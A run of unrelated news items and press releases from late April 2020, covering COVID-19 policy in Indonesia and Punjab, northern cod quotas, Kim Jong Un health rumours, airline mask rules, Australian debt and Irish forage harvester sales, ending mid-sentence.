Free The two concurrent global crises in the health and economic sectors have engulfed the world. The necessary public health response to the COVID-19 pandemic has set in motion a globally synchronized economic recession that is putting the financial system on the brink and leaving behind no obvious engines of global growth. The policy responses will determine the human toll of the pandemic and the length and severity of the economic downturn. They will also determine the economic, social and environmental progress towards or regression away from attaining the Sustainable Development Goals (SDGs). This reflection on the compound crisis and what is at stake is extracted from a UNDP report on the "COVID-19 UNDP's Integrated Response" released on April 24. The analysis also applies to Indonesia, which now confronted with both a growing number of coronavirus cases that is placing the health sector under severe strain and a socioeconomic crisis that is already being felt by millions of Indonesians. The UNDP analysis offers recommendations on policy responses to COVID-19 that are relevant to Indonesia and can help address the current challenges as well as those that lie ahead. First, rapid response and implementation are critical. The UNDP therefore calls for policies that can be adopted and implemented quickly to meet immediate needs. These include containing the viruss spread to strengthening health systems for the present emergency and others to come while simultaneously responding to the looming economic downturn. The measures Indonesia has taken over the last weeks ramping up COVID-19 testing capacity and coverage, providing incentives for health workers and adopting specific social protection measures go a long way toward addressing its immediate needs. Adopting additional policy responses will be needed as the dual crises evolve in scope and magnitude. Second, the UNDP notes that, given the expected magnitude of the economic downturn, stimulus packages are essential to safeguard developmental gains in health, employment and human security. A large proportion of these stimulus packages should target the poor and the most vulnerable groups that will be most affected by the crises. Specific considerations must also be taken with regard to gender, as history has consistently shown that a disproportionate burden of coping with crises falls to women. As part of the stimulus package, the Indonesian government has adopted combined social protection measures such as conditional free electricity with income support, including unemployment protection for preventing job loss and for supporting those who have lost their jobs as a direct result of the crises. The effective implementation and accurate targeting of these social protection measures, together with the six-month tax exemption for workers in the manufacturing sector, can cushion the impact of the crises on the most vulnerable. Thailand, the Philippines and other ASEAN countries have adopted additional measures, including sickness benefits that ensure income security during sick leave, as well as old age, survivor and disability benefits. These are measures that Indonesia can consider to contribute further to reducing the impacts of the crises. Like other governments in the region, Indonesia has announced corporate tax breaks. But it needs more targeted protection measures for small and medium enterprises (SMEs) and the millions of jobs they generate, as many SMEs may not otherwise survive the acute economic slowdown as a direct impact of the health crisis. Third, the UNDP calls for the creation of fiscal space to respond to the crises by revisiting existing policies rather than applying patches. At a time when a sudden stop in capital inflows is a real risk for developing countries, including Indonesia, the optimal approach could be to redeploy existing public resources in order to avoid very large deficits that would lead to surging national debt. In addition, globally coordinated action is needed to address long-standing fiscal termites that have been undermining national budgets, such as transfer pricing, tax havens, multinational tax avoidance, the untaxed digital economy and fossil fuel subsidization. Once such sources are used to cover some of the funds needed for the fiscal stimulus packages, financing the remaining fiscal costs will become more feasible. Lastly and most fundamentally, the legitimate focus on current responses should not distract us from the fact that COVID-19 has come amid the ongoing and escalating climate crisis. The pandemic should instead make us all more aware that the development path based on overexploitation of natural resources and unsustainable changes in land use has reached its limits. The analysis points specifically to the growth in animal-sourced products, coupled with the destruction of land and underwater animal habitats, that has brought the COVID-19 virus to humans. When the pandemic recedes, developed and developing countries alike must avoid the temptation to go for economic recovery at all costs by foregoing their commitments to the Paris Agreement and the SDGs in resuming unsustainable paths. Governments, the private sector and citizens should heed the warnings by resisting this temptation and instead turning the crisis into an opportunity by accelerating low-carbon development, using resources efficiently, minimizing environmental degradation and transforming consumption and production patterns. The Indonesian government already has robust policies in place for building a low-carbon, climate-resilient economy and is well placed to make the choice to rebuild better and greener. The development choices still to be made will determine the future for Indonesia and the rest of the world. *** UNDP Indonesia resident representative Disclaimer: The opinions expressed in this article are those of the author and do not reflect the official stance of The Jakarta Post. Punjab CM hints at lockdown relaxations, but says curbs needed to check coronavirus spread India pti-PTI Chandigarh, Apr 28: Punjab Chief Minister Amarinder Singh on Tuesday hinted at lockdown relaxations on the basis a report to be submitted by an expert panel formed to draw an exit strategy. The issue will come up for a discussion at a state cabinet meeting on April 30. He, however, said the lockdown was necessary to delay the coronavirus spread as the Centre has indicated on the basis of inputs and studies that the number of cases will continue to rise till July. The chief minister was interacting with MLAs during a video conference when he made the remarks. The CM indicated that his government could go for certain relaxations, while taking all precautions, based on the report of the expert committee formulating the state's coronavirus curfew exit strategy, according to a government statement here. Punjab Congress Chief Sunil Jakhar too urged caution. He suggested classification of COVID zones at the village level to ensure better management of the relaxations, as and when they come. During the video conference, Jakhar suggested allowing industries in rural areas to operate in the night. There was largely a consensus among the MLAs to continue with strictness for another couple of weeks with very limited relaxations in certain areas only. They said borders should remain sealed not just around the state but also among the districts and villages, said the release. Coronavirus patients should be hospitalised within their own district to limit outside contact and exposure, they opined, advising extreme cautions in lifting restrictions. Pathankot MLA Amit Vij and Bhoa legislator Joginder Pal raised the issue of a shortage of testing facilities, ventilators and relief ration kits. They demanded more sampling. They also suggested that books be made available to government school students as they all could not attend online classes, with many of the poor not having smartphones. The CM urged the MLAs to set an example by taking all precautions while executing their public responsibilities. On a request from Uttar Pradesh to send back their migrant labourers after quarantining them in Punjab, the CM said he shall convey to his counterpart there that this has to be done by his government and not by Punjab. The CM further made it clear that his government will make all efforts for the care of migrant labourers. We need to look after them so that they do not leave Punjab, where they are needed to help out in the procurement operations as well as the industries that we are gradually opening up, he said. Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili. Asia Pacific cancer immunotherapy market is expecting a high growth over the coming future. This is due to increasing number of patient with different types of cancer. Over 100 types of different has been cancer registered, so far. In terms of treatment, limited number of treatments are available in the market. Cancer immunotherapy is expecting to make a huge development over the given period due to its various advantages. Immunotherapy is more effective than other available therapy. The market is majorly driven by increasing cancer population across this region. Increasing smoking population and rising consumption of alcohol have led to increase the number of lungs and liver cancer, which has spurred the growth of the market. However, long time for approval, high cost of treatment, and many side effects may slow the market growth. In 2016, the Cancer Immunotherapy Market for Asia Pacific 2020 is expected to grow at a CAGR of 15.5% during the forecasted period. Segmentation Asia Pacific cancer immunotherapy market is segmented on the basis of type of therapy, application, and end users. On the basis of type of therapy the market is segmented into monoclonal antibodies, cancer vaccines, immunomodulators, and others. On the basis of application, the market is segmented as lung cancer, blood cancer, melanoma, breast cancer, and other. On the basis of end user, the market is segmented into hospitals & clinics, research laboratories, cancer institute, and others. Regional Analysis On the regional basis, Asia Pacific immunotherapy market is dominated by China owing to the presence of huge technological advances, increasing prevalence of cancer, and increasing government support. Beside this developing healthcare sector and increasing expenditure in healthcare have attracted many of the manufacturers to this region. Improvement in healthcare infrastructure, rise in healthcare expenditure and increase in per capita income in countries like India and China have makd this countries as a fastest growing countries in the market. Intended Audience Government and private research companies Research and Development (R&D) Companies Drug Manufacturers and Suppliers Pharmaceutical Companies Medical Research Laboratories Key Players As no absolute treatments are available for the treatment of cancer many manufacturers are investing in research & development to identify the novel drug against cancer. And this provides a wide range of opportunities for the development of market across the world. Beside this the key challenge for the manufacturers is to provide a cost-effective treatment to the people. The key players for the market: Amgen, Inc. (US) Bristol-Myers Squibb Company (US) Eli Lilly and Company (US) AstraZeneca Plc. (UK) GlaxoSmithKline Plc. (UK) Bayer AG (Germany) Hoffmann-La Roche Ltd. (Switzerland) Pfizer, Inc. (US), Merck & Co., Inc. (US) Novartis AG (Switzerland) Spectrum Pharmaceuticals Inc. (US) Janssen Biotech, Inc. (US) Sanofi (France), AbbVie Inc. (US) Takeda Pharmaceuticals (Japan) Oncomed Pharmaceuticals (US) Immunomedics (US) Access Complete Report @ https://www.marketresearchfuture.com /reports/asia-pacific-cancer-immunotherapy-market-639 Related News Vein illuminator Market Pulse Oximeters Market About Market Research Future: At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services. In order to stay updated with technology and work process of the industry, MRFR often plans & conducts meet with the industry experts and industrial visits for its research analyst members. https://www.marketresearchfuture.com The mobile operator has presented internet package to teachers educating distantly in the conditions of social lockdown. Azercell Telecom LLC, the leading mobile operator of the country, has joined the next social event in the course of the struggle against coronavirus (COVID-19) pandemic. Thus, Azercell joined the challenges by the Ministry of Education and the Ministry of Transport, Communications and High Technologies of Azerbaijan Republic in the framework of a new project launched by the Ministry of Education to expand distance learning opportunities for secondary school students. The Company contributes to the initiative by uploading 5GB internet package of 10 azn during two month period to the mobile number balance of over 25 000 Azercell subscribers who have already registered as teaching staff at Virtual School portal created for this purpose. It should be noted that the list of teachers who will receive an Internet package for educating online is provided by the Ministry of Education according to the registration on the website: www.virtual.edu.az. In order to get acquainted with the prerequisites to join and activate the gift package, it is advisory to visit the Companys official website: https://www.azercell.com/en/news/show/1094/ Notably, www.virtual.edu.az provides users with the opportunity to do exercises and tasks during the education process online. Currently, more than 600,000 students and over 50,000 teachers have been registered at the portal. Azercell Telecom LLC will continuously expand its social initiatives in order to support our society. -- Follow us on Twitter @AzerNewsAz A Turkish military cargo plane carrying medical supplies for use against the coronavirus pandemic departed on Tuesday for the U.S. "The loading process of the medical aid supplies to be delivered to the US by Turkish Armed Forces aircraft has been completed. Our aircraft carrying the medical aid supplies to be used in combating COVID-19 has departed from Etimesgut Airfield/Ankara," the Turkish Defense Ministry said on Twitter. The ministry also released a statement saying that the medical aid supplies leaving for Washington were prepared under the instructions of President Recep Tayyip Erdogan. "The health supplies prepared by the Ministry of National Defense and the Ministry of Health consists of masks, face visors, N95 masks and overalls," Anadolu agency cited the statement as saying. West Monroe, N.Y. An Oswego County teenager is missing for the second time in two months, state police said. Trey Krenzer, 14, was last seen April 22 at his home on Pinecrest Drive in the town of West Monroe, troopers said. Krenzer is described as 5 feet, 8 inches tall, with a medium build, brown eyes, black curly hair and he wears glasses. Krenzer was previously reported missing by his family on Feb. 22 and found in good health on March 5. State police ask anyone with information about where Krenzer is to call them at (315) 366-6000. Trey Krenzer, 13, of West Monroe, was reported missing this morning by family members, according to New York State Police. Have a tip or a story idea? Contact Catie OToole: cotoole@syracuse.com | text/call (315) 470-2134 | Twitter | Facebook HALIFAX, Nova Scotia, April 28, 2020 (GLOBE NEWSWIRE) -- Northern cod has been deep in the critical zone for close to 30 years. Fisheries and Oceans Canada (DFO) recently met virtually with representatives from the fishing industry, Indigenous groups, the scientific community and non-governmental organizations, including Oceana Canada, to discuss this years fishing quota for the fragile fishery. To successfully rebuild this historic fish population to a healthy level, Oceana Canada is urging DFO to complete its long-promised and long-overdue rebuilding plan and ensure fishing is kept to the lowest possible level. Taking these steps now will help give northern cod a fighting chance to return to abundance, said Dr. Robert Rangeley, Oceana Canadas Director of Science. We recognize the value of a Stewardship Fishery as it is an important source of income for communities. Maintaining the same quota as 2018 a maximum of 9,500 tonnes would serve this purpose and help correct the harmful decision taken in 2019, when DFO ignored scientific advice and increased the quota by 30 per cent to 12,350 tonnes, said Rangeley. Population growth has stalled in recent years as cod face poor environmental conditions due to climate change and declining availability of prey: capelin and shrimp. In turn, this has led to an increase in starvation and cannibalism. DFO committed to finalizing a rebuilding plan in 2019. The plan has not been completed and there is no revised date for when it might be. DFO should prioritize the completion of the plan this year. While it is essential to keep northern cod fishing pressure low, what is also ultimately and urgently needed is better management, an adherence to scientific advice and a streamlined process for decision-making. A rebuilding plan that meets international standards, which includes a harvest control rule and upper stock reference point, would address these issues and is long overdue, Rangeley said. Story continues With low fishing pressure and favourable environmental conditions, northern cod could recover in as few as 11 years, supporting economic activities worth $233 million in todays dollars, according to a 2019 economic report conducted by Oceana Canada. While fisheries management is being conducted in difficult times as a global pandemic puts severe pressure on Canadas fishing industry, it doesnt change the dire state of the stock. In fact, it further highlights the importance of preparing for economic uncertainty and planning for a more prosperous future. On April 26, 2020, the federal government announced $62.5 million for Canadas fish and seafood sector in response to COVID-19, money that will go toward protecting workers. We must support communities without endangering the resource upon which they depend. We can support sustainable management strategies proven to rebuild depleted fish populations, now. This means advancing rebuilding plans, implementing Canadas Fishery Monitoring Policy and moving forward with strong rebuilding regulations to enforce the amended Fisheries Act. As these more comprehensive approaches to fisheries management are implemented, DFO must keep fishing pressure low on northern cod and all of Canadas 33 critically depleted fish stocks and complete much-needed rebuilding plans. Oceana Canada is an independent charity and part of the largest international advocacy group dedicated solely to ocean conservation. Oceana Canada believes that Canada has a national and global obligation to manage our natural resources responsibly and help ensure a sustainable source of protein for the worlds growing population. Oceana Canada works with civil society, academics, fishers, Indigenous Peoples and the federal government to return Canadas formerly vibrant oceans to health and abundance. By restoring Canadas oceans, we can strengthen our communities, reap greater economic and nutritional benefits, and protect our future. Northern Cod Fact Sheet For centuries, Atlantic cod supported massive fisheries, drove economies and fed millions. During the 1990s, most cod stocks collapsed in Atlantic Canada. Today, most of the remaining populations, including northern cod, are deep in the critical zone and are assessed as endangered by the Committee on the Status of Endangered Wildlife in Canada (COSEWIC). These fish populations are less resilient to factors such as climate change, reduced food availability and predation. Decades after its collapse, northern cod is still without a rebuilding plan to sustainably manage the fishery and support the recovery of its population to the healthy zone. Although northern cod continues to be officially under moratorium, total reported landings were 13,023 tonnes in 2017, 9,496 tonnes in 2018 and 10,559 tonnes in 2019. Currently there is no requirement to report recreational landings but estimates from cod tagging data in 2020 indicate that catches averaged 1,900 tonnes annually between 2016 and 2019. At the beginning of 2019, northern cods spawning stock biomass was less than half the limit reference point (LRP), 48 per cent, which is the number at which the population would move out of the critical zone and into the cautious zone. Although northern cod biomass has increased in recent years (2012-2016), recruitment, or reaching a certain size or reproductive stage, remains relatively low with the recent average at 20 per cent of the pre-collapse period. Northern cod currently mature when they reach five years old and can live up to the age of 26, but few fish over 15 years old are seen today. The future of northern cods food sources, including capelin and shrimp, are also uncertain. Starvation is a strong component of natural mortality in northern cod. To date, there are 33 critical-zone stocks in Canada, only six of which have rebuilding plans. Of these, none meet global best practices for rebuilding plans such as the inclusion of timelines and targets. Canada is at a critical moment for managing fish populations. There is tremendous opportunity to rebuild depleted populations and the urgency has never been greater with the ocean being impacted by threats such as climate change, overfishing and pollution. If we act now with a strong commitment to sustainably managing marine resources, rebuilding fish populations in Canada can be our legacy. Contact: Tammy Thorne, Oceana Canada, thorne@oceana.ca , (437)-247-0954 A video accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/f1446f1e-fdf8-474a-bce7-ca5db6ebab93 Photos accompanying this announcement are available at: https://www.globenewswire.com/NewsRoom/AttachmentNg/d52d2a08-b6f8-4e05-b068-6898104c66ae https://www.globenewswire.com/NewsRoom/AttachmentNg/bfdeca2c-5e8e-445a-9218-0d65c3d79092 https://www.globenewswire.com/NewsRoom/AttachmentNg/3e95c4ff-9628-4094-8925-7c2629321db5 BAKU, Azerbaijan, April 28 By Jeila Aliyeva - Trend: Turkmenistan has expressed desire to strengthen cooperation with the UN, Trend reports with reference to the Ministry of Foreign Affairs of Turkmenistan. Representatives of the government of Turkmenistan and the UN Development Program (UNDP) held a round table meeting at the UN in Ashgabat on April 28, 2020. One of the main topics of discussion was Country Programme of Cooperation between Turkmenistan and the UNDP for 2021-2025. Priorities for further cooperation in rule of law and economic diversification, as well as the quality of statistical data areas were also discussed. The parties also pointed to the progress made by Turkmenistan over the past few years, as well as the role of UNDP in promoting sustainable development. The UNDP representatives expressed their gratitude to Turkmenistan for preparing documents for further cooperation. The sides expressed hope that this meeting will give a positive impetus to the development of a multilateral partnership between Turkmenistan and the UNDP. Earlier, State customs service of Turkmenistan and the UN development Program (UNDP) signed a Memorandum of understanding on cooperation in promoting innovation and modernizing customs procedures. The purpose of signing this document was to ensure interaction between the parties in areas of mutual interest within the framework of the 2030 agenda for sustainable development. --- Follow the author on Twitter: @JeilaAliyeva South Korea said today it knows Kim Jong Un's location as it continues to play down rumours that the North's strongman leader is seriously ill or dead. The South's unification minister Kim Yeon-chul told lawmakers that 'the government is aware of Kim Jong Un's location,' without explaining further. The minister said Kim Jong Un may be lying low to avoid catching coronavirus and not because he is gravely ill. Speculation over Kim's health has become so stark that the US is scrambling five spy planes to monitor movements in North Korea, media in the South says. Rumours have been swirling around the North Korean dictator since April 15, when he missed a Day of the Sun celebration honouring his grandfather Kim Il-sung. Kim Jong-un was last seen in public on April 11 at a meeting of the ruling Workers' Party (pictured). His absence has prompted rumours about his health Senior party and government officials celebrate the 108th anniversary of founder Kim Il-Sung's birth in Pyongyang on April 15 - a ceremony which Kim Jong-un inexplicably missed Four US eavesdropping aircraft will try to intercept messages about the Supreme Leader and his health, while one ground surveillance plane will monitor for unusual troop movements. South Korea has also deployed a spy aircraft over its northern neighbour, the Chosun Ilbo newspaper reported, despite Seoul's insistence that Kim is alive and well. Kim Yeon-chul, South Korea's minister for North Korean affairs, continued to downplay rumours about Kim on Tuesday - saying he had likely disappeared to avoid catching coronavirus and not because he is currently ill. Kim was last seen in public on April 11, presiding over a meeting of North Korea's ruling Workers' Party. There have been reports that Kim had heart surgery and was subsequently critically ill or even dead, but none of these have been confirmed. Off the back of those rumours, America has reportedly sent three Beechcraft RC-12 Guardrail planes and one EO-5C 'Crazy Hawk' to scout over North Korea. Both types of aircraft are designed to intercept electronic communications. The US has also sent a Northrop Grumman E-8 Joint STARS aircraft, which is used to collect imagery and track ground movements. South Korea has also sent one aircraft though it is not clear what kind, a senior military source told Chosun Ilbo. Kim's name has continued appearing in the country's state-run media but an absence of photos of the leader has led to suspicions mounting. A Beechcraft RC-12 Guardrail aircraft which America is thought to have sent to North Korea to monitor electronic communications (file image) An EO-5C 'Crazy Hawk' aircraft which America is thought to have sent to North Korea to monitor electronic communcations (file image) An E-8C Joint STARS spy plane, which America is thought to have sent to North Korea to monitor for unusual troop movements (file image) North Korea's daily newspaper Rodong Sinmun routinely publishes photos of Kim going about his daily activities. Kim's last lengthy disappearance from public view came in October 2014, when he vanished for six weeks - believed to be while he had surgery on his ankle. His current whereabouts are unknown, but satellite imagery showed his private train at his Wonsan compound as recently as April 23. Kim uses the train to travel because he fears being assassinated while in the air. North Korea has officially denied having any cases of coronavirus, but reports that have leaked from inside the country suggest officials have privately admitted to citizens that the disease is spreading there. Earlier this month a defector who escaped across the border into China tested positive for the virus, all-but confirming its presence there. With that in mind, Kim's absence from major ceremonies should not be regarded as unusual, Unification Minister Kim Yeon-chul said today 'It is true that he had never missed the anniversary for Kim Il Sungs birthday since he took power, but many anniversary events including celebrations and a banquet had been cancelled because of coronavirus concerns,' he said. He said there were at least two instances since mid-January where Kim Jong Un was out of sight for nearly 20 days. A 250-metre-long train belonging to the dictator has been spotted near to his Wonsan holiday compound as recently as Thursday in satellite photos Satellite images of Wonsan Elite railway station show the leader's train arriving after April 15, and was still at the station on April 23 US President Donald Trump said on Monday he has a good idea how Kim Jong Un is doing and hopes he is fine, but would not elaborate. Japanese prime minister Shinzo Abe said he was aware of reports on Kim's health and he was was paying close attention to developments. North Korea had cancelled some large events, and imposed a border lockdown and quarantine measures in an effort to prevent an outbreak of the coronavirus. But if Kim Jong Un is hiding out due to fears surrounding COVID-19, it would 'puncture a hole in the state media narrative of how this crisis has been perfectly managed', said Chad O'Carroll of monitoring group Korea Risk Group. 'If he is merely trying to avoid infection, it should theoretically be very easy to release photos or videos of a healthy-looking Kim,' he said. According to the Washington Post, the rumours over Kim's health have sparked panic buying in Pyongyang. People have stocked up on rice, liquor, cigarettes, canned fish and electronics while helicopters have been flying low over the city, it is reported. North Korea has never announced who would succeed Kim Jong Un in the event he is incapacitated, and with no details known about his young children, it has been suggested that his sister Kim Yo Jong (right) could be in line to take over Kim Jong-un sent a personal letter to workers on a project in the city of Wonsan (where he is pictured in April 2019), according to a state newspaper A source familiar with US intelligence reporting said it was entirely possible Kim had disappeared from public view to avoid exposure to avoid Covid-19. The sighting of his presidential train in the coastal resort area of Wonsan could suggest he may be there or have been there recently. But the source said that US agencies were also still considering the possibility Kim might be ill, even seriously. While North Korean state media outlets have not reported on Kim's whereabouts since April 11, they have carried near-daily reports of him sending letters and diplomatic messages. That suggests that he is still carrying out his duties, the South Korean minister said, although some experts say they are not necessarily conclusive. The letters apparently sent in his name include a message of gratitude to workers in a tourist zone and a letter to South African president Cyril Ramaphosa. 'I agree with the South Korean government's assessment that there is no reason to think Kim Jong Un is not performing his duties,' said Rachel Minyoung Lee, a former North Korea intelligence analyst for the US government. 'That said, I would not read too much into letters signed by Kim Jong Un. I would guess that most of them are not written by him anyway.' As demand for air travel reaches historic lows amid the COVID-19 pandemic, passenger Erin Strine was shocked to board a nearly full American Airlines flight from New York to Charlotte on Saturday. Strine observed many passengers were sitting side by side and not wearing masks. She posted a video to Twitter, which as of Monday evening, has been viewed almost two million times - -strengthening union calls for more protection and more aggressive policies on social distancing. "It was the first time that I felt truly unsafe," Strine said. She was traveling to see her family following the passing of her grandmother. "I wanted to come home to be here for my parents, and my dad especially, you know it wasn't a decision I made lightly." PHOTO: Passengers are seen onboard of American Airlines flight 388 at John F. Kennedy International Airport in New York, April 25, 2020. (Erin Strine via Reuters) Strine's flight was about 85 percent full, according to a spokesperson for American Airlines. MORE: Lawmaker calls out airlines over rejected refunds: 'We bailed out your company' Last week there was a slight uptick in the number of travelers at U.S. airports for the first time since the novel Coronavirus began to severely impact demand for air travel in the U.S., according to screening numbers from the Transportation Security Administration (TSA). The agency screened around 85,000 more people nationwide last week compared to the week before. "I got a report from a flight attendant last night who went back to work after being in mandatory quarantine," Sara Nelson, both a current flight attendant and president of the Association of Flight Attendants-CWA, AFL-CIO told ABC News. "And her first flight back to work, was a completely jam packed four hour flight." MORE: Coronavirus outbreak could cost airlines $113 billion In response to recommended social distancing guidelines, American Airlines says it is leaving about half of its middle seats empty in standard economy. Delta Airlines is blocking all middle seats in standard economy. United Airlines says although it can not "guarantee that adjacent seats will always go unoccupied" the airline believes it will be able to implement its proposed policy this week that no passenger will be forced to sit directly next to another passenger unless it is requested. Story continues Nelson, who leads the largest flight attendant union in the U.S., called on the Department of Transportation and Department of Health and Human Services last week to mandate that that all passengers and crew wear a face covering. PHOTO: Sara Nelson, the International President of the Association of Flight Attendants, speaks during a press conference on aviation safety during the shutdown at Ronald Reagan Washington National Airport in Arlington, Va., Jan. 24, 2019. (AFP via Getty Images) "From the airport door to the airplane door, on the airplane, and then back out through the airport, we want people wearing face coverings in all those areas," Nelson said. "That is what is recommended by the CDC to the general public when they are out in public, and that is exactly what should be happening in our airports and on our airplanes to help contain the spread of the virus." MORE: US flight attendants seeing financial strain due to coronavirus outbreak, union president says Since then, major U.S. airlines including Delta, American, and United announced that their frontline employees like flight attendants will be required to wear face coverings or masks. JetBlue, which says they implemented their face covering for crew policy in mid-April, became the first major U.S. airline on Monday to announce it will require passengers wear a face covering during travel. Passengers flying JetBlue must wear a face covering over their nose and mouth throughout their journey, the airline says, including during check-in, boarding, while in flight and deplaning. Wearing a face covering isnt about protecting yourself its about protecting those around you, JetBlue President and Chief Operating Officer Joanna Geraghty said. This is the new flying etiquette." JetBlue's policy takes effect on May 4. "All airlines should follow JetBlue's lead, Nelson tweeted late Monday. "Including its efforts to fully communicate the change before it becomes effective next week so that flight attendants are not put in the position of being enforcers without information and backing from the airline." This report was featured in the Tuesday, April 28, 2020, episode of Start Here, ABC News daily news podcast. "Start Here" offers a straightforward look at the day's top stories in 20 minutes. Listen for free every weekday on Apple Podcasts, Google Podcasts, Spotify, the ABC News app or wherever you get your podcasts. JetBlue becomes first U.S. airline to require passengers wear face coverings originally appeared on abcnews.go.com ONTARIO, Calif., April 28, 2020 /PRNewswire/ -- William F. Turner, is being recognized by Continental Who's Who as a Top Attorney in the field of law as a Tax Attorney at his private practice William F. Turner Law. Mr. Turner has 56 years' experience in the field of law. He was admitted to practice law in California in 1966. He was also admitted to practice law in Arizona, receiving his Juris of Doctor Degree from the University of Arizona. His area focus is tax law specifically related to corporations. Following the completion of his studies, Mr. Turner became a member of the California State Bar Association. He is also the Chairman of a Christian Mission to Japan called "Reap Mission Inc." William Turner's secret to success is having strong faith. He loves what he does and enjoys meeting the needs of his clients in various states. William F. Turner would like to dedicate his success with special thanks to Kenneth Joseph Missionary Japan. Contact: Katherine Green, 516-825-5634, [email protected] SOURCE Continental Who's Who Related Links http://www.continentalwhoswho.com Australia could face a crippling trillion-dollar debt by the end of next year in the wake of the coronavirus crisis, a leading economist has warned. Deutsche Bank economist Phil O'Donaghoe said the federal government will be forced to issue $400billion in extra bonds over the next 18 months. That would push the national debt over $1trillion when added to the historic spending on programs such as JobKeeper to keep the struggling economy afloat during the pandemic. But even with unprecedented stimulus measures, the 2020 economy could be the weakest in almost a century with unemployment expected to double to 10 per cent. Australia could be drowning in a $1 trillion debt by the end of 2021. Pictured are people queuing outside a Centrelink in Sydney earlier this month 'The automatic stabilisers embedded in the federal budget mean that weaker economy will add to the deficit, and therefore the borrowing requirement, by more than the direct stimulus measures,' Mr O'Donaghoe told The Australian. The federal government's $194bn in planned stimulus measures is the biggest in the world as a share of GDP, according to International Monetary Fund estimates. Mr O'Donaghoe forecasts federal government borrowing to grow by $80billion for every two percentage point increase in the unemployment rate. The unemployment rate rose to 5.2 per cent in the March quarter and could almost double to 10 per cent for the June quarter. Australia's debt is increasing as the government struggles to keep the economy afloat during the coronavirus lockdown. Pictured is a closed fashion retailer in Canberra Mr O'Donaghoe described the $130bn JobKeeper wage subsidy introduced for businesses forced to lay off staff during the pandemic as a 'wrinkle to our rule of thumb'. 'By design, JobKeeper recipients will be classified by the statistician as 'employed' even as their output drops to zero, and therefore will not enter official unemployment statistics over coming months,' he said. But Reserve Bank governor Philip Lowe is confident the economy will bounce back and recover in the second half of 2020 once lockdown restrictions have eased. 'The result of both the restrictions and the uncertainty is that over the first half of 2020 we are likely to experience the biggest contraction in national output and income that we have witnessed since the 1930s,' he said in a speech last week. Deutsche Bank economist Phil O'Donaghoe (pictured) issued the dire warning that Australia's debt could exceed $1trillion by the end of 2021 The Reserve Bank has bought around $47 billion of government bonds to date. Mr Lowe stressed the bonds were bought from the secondary market and directly from the government. 'One of the underlying principles of Australia's institutional arrangements is the separation of monetary and fiscal policy that is, the central bank does not finance the government, instead the government finances itself in the market,' he said. 'This principle has served the country well and I am confident that the Australian federal, state and territory governments will continue to be able to finance themselves in the market, as they should.' The National Park Service announced Tuesday the return of Independence Day fireworks to Mount Rushmore National Memorial after an 11-year absence. Following an environmental assessment conducted earlier this year, the agency issued afinding of "no significant impact", which allows the fireworks celebration to be permitted. The event will be held subject to weather, security and wildland fire conditions and in accordance with the presidents Opening Up America Again guidelines. I am grateful to everyone involved in the process to reinstitute the tradition of a magnificent fireworks display at Mount Rushmore to celebrate Independence Day, said Interior Assistant Secretary for Fish and Wildlife and Parks Rob Wallace. We are eager to move forward in partnership with the state of South Dakota to provide a memorable patriotic experience this summer. There is no better place to celebrate Americas birthday than Mount Rushmore, said Gov. Kristi Noem said in a news release. "We appreciate all the work President Trump and his team at the Department of the Interior have done to make this celebration possible again for the country. Prior to the event, the National Park Service will work with the state, local communities, the Highway Patrol, and the fireworks contractor and staff to develop the following: A plan to address traffic control, visitor management, and emergency response. A plan for event staging and demobilization activities. A wildland fire response plan. A Unified Command incident management team and a Go/No-Go checklist. You must be logged in to react. Click any reaction to login. Love 2 Funny 0 Wow 0 Sad 0 Angry 2 The average horsepower of a new self-propelled forage harvester (SPFH) is 580hp. These remarkably powerful machines are set to be spotted working flat out on Irish farms over the coming weeks as the pit silage season kicks off in earnest. Along with the massive power, they are hugely expensive units, often exceeding 300,000 plus VAT, and represent the single biggest investment any contracting outfit will have to make. The annual global market for SPFHs is thought to be around 3,000 units. Claas is the top-selling manufacturer of SPFHs followed by John Deere, Krone and New Holland. In Ireland, the five-year average for SPFH sales from 2015-2019 was 39 units. All of the big hitters on the market report contractors are moving towards more powerful forage harvesters that are able to get through grass efficiently in a shorter window of time. In response to demand from dairy farmers, contractors at the bigger end of the scale now want their harvesters to be able to lift 30 foot swaths of grass and tackle up to 200 acres a day with one harvester. Market data shows Irish contractors are buying more Claas, John Deere and Krone harvesters than any other make. Last year a record 58 self-propelled forage harvesters sold in Ireland. Industry experts attributed the record spike in SPFH sales to demand for higher capacity machines capable of lifting ever-more acres per day. Ultimately, this trend is all linked back to the increasing size of the national dairy herd and the need to ensile more grass to feed this herd. When one of these machines is sold it is a good news story all round. Farmers benefit from the latest technology for ensiling top class precision-cut silage, while farm machinery dealers get a cut for selling one of these lucrative machines. The contractor gets a machine that is capable of tremendous amounts of work, but he also of course inherits the risk involved in meeting repayments which can be scary given the prices of these units. It is important to say that contractors who take the decision to invest in the latest harvesters deserve to be supported by local farmers to make sure they can make ends meet. 2020 market SPFH sales in 2020 appears to be a different story to last year. A sharply contracted market will not come as a surprise to many given the circumstances we find ourselves in. My industry sources suggest there have been 32 SPFHs sold in Ireland this year. Ongoing market uncertainty around milk, beef and grain prices is likely the main reason for this contraction. The other is simply that last year was a one off; a repeat was not sustainable for a small market like Ireland's where a more natural annual replacement rate appears to be in the mid 30s. On sales by brand, the Irish figures reflect the global picture up to a point. Last year Claas were way out front. Thanks to their Jaguar harvester, the German firm is currently easily the top-selling self-propelled forager brand in Ireland. In 2019 they sold a remarkable 35 harvesters. This year they have sold 15 to date, taking 47pc of the market. Claas has led the market in Ireland for years, but second and third place are more competitive and interchangeable in recent times. A very strong performance from Krone in 2019 delivered about 20pc of the market with 12 SPFHs. This was impressive growth as they continue to grow market share in Ireland thanks to their Big X harvesters. This year they have, so far, sold six harvesters. In third place last year was John Deere, whose harvesters made up around 17pc of the market in 2019. They are actually doing better to date this year and have jumped back ahead of Krone to regain second place. I understand John Deere dealers have sold 11 SPFHs in 2020, a healthy 34pc slice of the market. CLASS JAGUAR For Claas, it starts and ends with the Jaguar harvester, a badge and machine that will be spotted in large numbers on any fine day in Ireland when silage is being harvested. The Jaguar has proven massively popular with Irish contractors since the late seventies. Currently one of the most popular ranges is the Jaguar 800 series, with the recently launched 626hp Jaguar 880 and the 860 among the most popular sellers this season. The 880 filled a gap in the Jaguar range and essentially offers farmers and contractors the choice of two 626hp models, either the 880 or the higher specification 960. Both are powered by a straight six Mercedes Tier 4F 